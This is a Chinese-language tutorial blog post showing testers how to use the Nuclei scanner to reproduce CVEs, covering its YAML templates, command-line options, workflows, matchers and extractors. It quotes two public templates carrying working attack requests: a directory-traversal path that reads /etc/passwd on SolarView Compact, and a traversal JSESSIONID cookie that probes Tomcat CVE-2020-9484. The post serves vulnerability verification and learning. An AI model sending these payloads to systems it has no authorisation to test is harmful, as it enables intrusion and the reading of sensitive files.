POC模拟攻击利器 —— Nuclei入门

引入Nuclei的缘由
使用dependency check 发现的问题,需要研发人员修复,研发人员要求复现问题!这个的确有难度不仅仅要了解cve 相关bug的具体含义,还要模拟攻击,对于测试人员显然要求过高!凭借自己多年的各种测试工具调研经验,直觉告诉自己,应该有类似的工具,经过各种技术调研选择了Nuclei。使用Nuclei主要对cve相关问题进行模拟,另外并不是所有的cve问题该工具都能模拟,建议大家使用前可以自行查看需要验证的cve问题是否在nuclei的template中,如果不在,还需要自行创建。
Nuclei基础
Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。Nuclei使用零误报的定制模板向目标发送请求,同时可以对大量主机进行快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。
Nuclei安装
首先安装go环境(go1.17以上版本)
下载对应平台的安装包,默认安装即可,本文默认安装windows版本
https://github.com/projectdiscovery/nuclei/releases
Nuclei基础使用介绍
原理:根据yaml模板中的内容模拟攻击请求,然后根据响应结果来判断系统中是否存在漏洞。内置yaml文件路径如下:(本文只关注cve相关漏洞)

上图中一个yaml文件其实就模拟了一个攻击请求,以CVE-2022-29298.yaml为例,文件内如如下:
id: CVE-2022-29298
info:
name: SolarView Compact 6.00 - Directory Traversal
author: ritikchaddha
severity: high
description: SolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal.
reference:
- https://www.exploit-db.com/exploits/50950
- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view
- https://nvd.nist.gov/vuln/detail/CVE-2022-29298
- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-29298
cwe-id: CWE-22
metadata:
shodan-query: http.html:"SolarView Compact"
verified: "true"
tags: cve,cve2022,lfi,solarview
requests:
- method: GET
path:
- "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
我们可以重点关注以下字段:
severity表示这个cve漏洞的级别
tags,表示这个漏洞被定义的标签,cve表示在命令行中输入cve标签时会执行该yaml
requests,表示要模拟的请求,关于method: GET、path"{{BaseURL}} "、就不详细讲解了,他们与http协议中定义的内容一致。
Matchers,简单的说就是用于对请求响应的校验,上述代码中校验了响应中的两项内容:
通过正则方式- type: regex校验响应body里是否有满足正则表达式- "root:.*:0:0:"的内容
校验响应的状态码- type: status 是否是200。
这两项校验内容是与的关系,matchers-condition: and(默认是or),关于更多的matcher相关知识我会加后面的文章中提及。
关于编写http请求的详细规则请参考
https://nuclei.projectdiscovery.io/templating-guide/protocols/http/
具体template编写语法请参考
https://github.com/projectdiscovery/nuclei/blob/master/SYNTAX-REFERENCE.md
备注:从v2.5.2开始,nuclei在运行时会自动更新template
注意:这里有的同学可能要问下面的语法形式是什么意思呢?
- type: status
status:
- 200
这是yaml语法,大家可以自行百度之!
Nuclei常用命令
Nuclei帮助文档
nuclei –h
这里就不再详细介绍了,自行查看即可。其他常用命令如下:
1.对url https://example.com,进行cve规则的检测(通过tags cve),检测的漏洞级别是critical和high,作者是geeknik
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik -o result.txt
2.对url https://example.com, 控制台输出统计结果-stats,检测的漏洞级别是critical和high,并把结果输出到result2.json(推荐,json形式的报告统计信息非常详细)
nuclei -u https://example.com -stats -severity critical,high -o result2.json -json -irr
3.对url https://example.com,进行模板CVE-2022-1439.yaml的检测
nuclei -debug -u https://example.com -t \cves\2022\CVE-2022-1439.yaml
4.nuclei也支持对不同的url进行扫描,定义一个txt文件,然后里面保存需要扫描的url,具体使用如下:
nuclei -list urls.txt
urls.txt包括的内容如下:
http://example.com
http://app.example.com
http://test.example.com
http://uat.example.com
5.如果想把结果以不同格式输出,参考如下:
#输出结果为JSON格式
nuclei -u https://example.com -json
#输出结果保存到Markdown格式文件
nuclei -u https://example.com -me result
更多输出结果,请参考nuclei –h 的OUTPUT字段,内容如下:
OUTPUT:
-o, -output string output file to write found issues/vulnerabilities
-sresp, -store-resp store all request/response passed through nuclei to output directory
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
-silent display findings only
-nc, -no-color disable output content coloring (ANSI escape codes)
-json write output in JSONL(ines) format
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
-nm, -no-meta disable printing result metadata in cli output
-nts, -no-timestamp disable printing timestamp in cli output
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
-ms, -matcher-status display match failure status
-me, -markdown-export string directory to export results in markdown format
-se, -sarif-export string file to export results in SARIF format
自定义检测模板
Nuclei支持自定义编写YAML语法模板,您可以工具自己的需求编写自己的检测模板。
例如定义模板mytemplate.yaml,内容如下:
id: basic-example
info:
name: Test HTTP Template
author: pdteam
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "This is test matcher text"
调用时,执行如下命令即可:
nuclei -u https://example.com -t mytemplate.yaml
nuclei使用总结
首先确认要扫描的接口(http,url),这点没有appscan,zap工具方便,他们可以主动探索攻击;
然后确认要扫描的规则,即确认yaml文件(根据tag选择想检测的内容,例如:cve、panel、lfi、xss等等),我们可以使用nuclei自带的yaml,也可以自定义yaml,为了提升扫描效率我们还可以自定义workflows,这个话题会在后面的文章中提及;
最后就是通过命令运行脚本并生成测试报告。

前面的文章中介绍了nuclei的基础使用方法,可以参考文章:
接下来我重点讲解一下nuclei中的三个概念,Workflows、Mathcer和Extractors。这些内容将有助于帮助大家编写更为复杂和高效的检测脚本!
workflows
Workflows允许用户自定义模板的执行顺序,这是使用nuclei最高效的方式,官方推荐用户使用自定义Workflows进而缩短扫描时间,提升扫描效率!
基础工作流
例如,定义workflow 扫描files目录下如下yaml
workflows:
- template: files/git-config.yaml
- template: files/svn-config.yaml
- template: files/env-file.yaml
- template: files/backup-files.yaml
- tags: xss,ssrf,cve,lfi
条件工作流
首先确认springboot-detect.yaml是否正确执行,如果OK,则运行subtemplates下的template,实例如下:
id: springboot-workflow
info:
name: Springboot Security Checks
author: dwisiswant0
workflows:
- template: security-misconfiguration/springboot-detect.yaml
subtemplates:
- template: cves/CVE-2018-1271.yaml
- template: cves/CVE-2018-1271.yaml
- template: cves/CVE-2020-5410.yaml
- template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
- template: vulnerabilities/springboot-h2-db-rce.yaml
运行workflows
nuclei -list http_urls.txt -w workflows/my-workflow.yaml
Matchers
Mathcer顾明思议,就是提供了一些规则,来对响应结果进行比较匹配!常用有六种类型的
mathcer,如下所示:
status Integer Comparisons of Part
size Content Length of Part
word Part for a protocol
regex Part for a protocol
binary Part for a protocol
dsl Part for a protocol
例如想对响应码进行比较匹配,写法如下:
matchers:
# Match the status codes
- type: status
# Some status codes we want to match
status:
- 200
想对响应码进行复杂的匹配时,可以使用dsl
matchers:
- type: dsl
dsl:
- "len(body)<1024 && status_code==200"
- "contains(toupper(body), md5(cookie))"
上个实例的含义是匹配响应体长度小于1024 并且状态码是200
判断大写的body中是否包括cookie的md5sum
使用condition: and\or 可以对多个条件进行匹配,默认多个条件是and的关系
官方实例如下:
matchers:
# Match the body word
- type: word
# Some words we want to match
words:
- "[core]"
- "[config]"
# Both words must be found in the response body
condition: and
# We want to match request body (default)
part: body
详情请参考 https://nuclei.projectdiscovery.io/templating-guide/operators/matchers/
Extractors
Extractors 也是对结果进行校验,与matchers相比,它可以把满足规则的内容显示出来,同样他也有不同类型的Extractors,如下所示:
1. regex - Extract data from response based on a Regular Expression.
2. kval - Extract key: value/key=value formatted data from Response Header/Cookie
3. json - Extract data from JSON based response in JQ like syntax.
4. xpath - Extract xpath based data from HTML Response
例如:
extractors:
- type: xpath # type of the extractor
attribute: href # attribute value to extract (optional)
xpath:
- "/html/body/div/p[2]/a" # xpath value for extraction
5. dsl - Extract data from the response based on a DSL expressions.
详情请参考https://nuclei.projectdiscovery.io/templating-guide/operators/extractors/
由于使用nuclei时间尚浅,关于Extractors和Matchers,个人感觉使用差别不是很大!
二者都是对结果的校验,与matchers相比,Extractors它可以把满足规则的内容显示出来!如果大家需要编写复杂的响应校验,那么就需要花时间多研究dsl了。
如何从nuclei中受益
当使用了nuclei一段时间后,个人觉得其实使用nuclei最有价值的就是里面各种template,我们可以查看各个template的脚本来学习攻击方法,而且还可以根据里面的reference 来查看漏洞的详情,这个特别有助于安全知识的相关积累!至于攻击请求的发送,这个其实就容易很多了,我们是否使用nuclei其实都无所谓的,举个简单的例子,关于CVE-2020-9484的 yaml脚本定义如下:
id: CVE-2020-9484
info:
name: Apache Tomcat Remote Command Execution
author: dwisiswant0
severity: high
description: |
When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if
a) an attacker is able to control the contents and name of a file on the server; and
b) the server is configured to use the PersistenceManager with a FileStore; and
c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and
d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.
Note that all of conditions a) to d) must be true for the attack to succeed.
reference:
- http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-9484
- https://lists.apache.org/thread.html/r77eae567ed829da9012cadb29af17f2df8fa23bf66faf88229857bb1%40%3Cannounce.tomcat.apache.org%3E
- https://lists.apache.org/thread.html/rf70f53af27e04869bdac18b1fc14a3ee529e59eb12292c8791a77926@%3Cusers.tomcat.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7
cve-id: CVE-2020-9484
cwe-id: CWE-502
tags: cve,cve2020,apache,tomcat,rce
requests:
- method: GET
headers:
Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
path:
- "{{BaseURL}}/index.jsp"
matchers-condition: and
matchers:
- type: status
status:
- 500
- type: word
part: body
words:
- "Exception"
- "ObjectInputStream"
- "PersistentManagerBase"
condition: and
这个脚本中,最容易的可能就是requests:部分攻击脚本代码,我们用jmeter 或者自己写代码的方式完全可以轻松模拟!而description:部分以及reference:部分才是我们需要重点研究的对象!也是我们深入理解poc攻击的最佳实例!
作者:测试开发Kevin
链接:https://www.jianshu.com/p/a2d35ec8ff12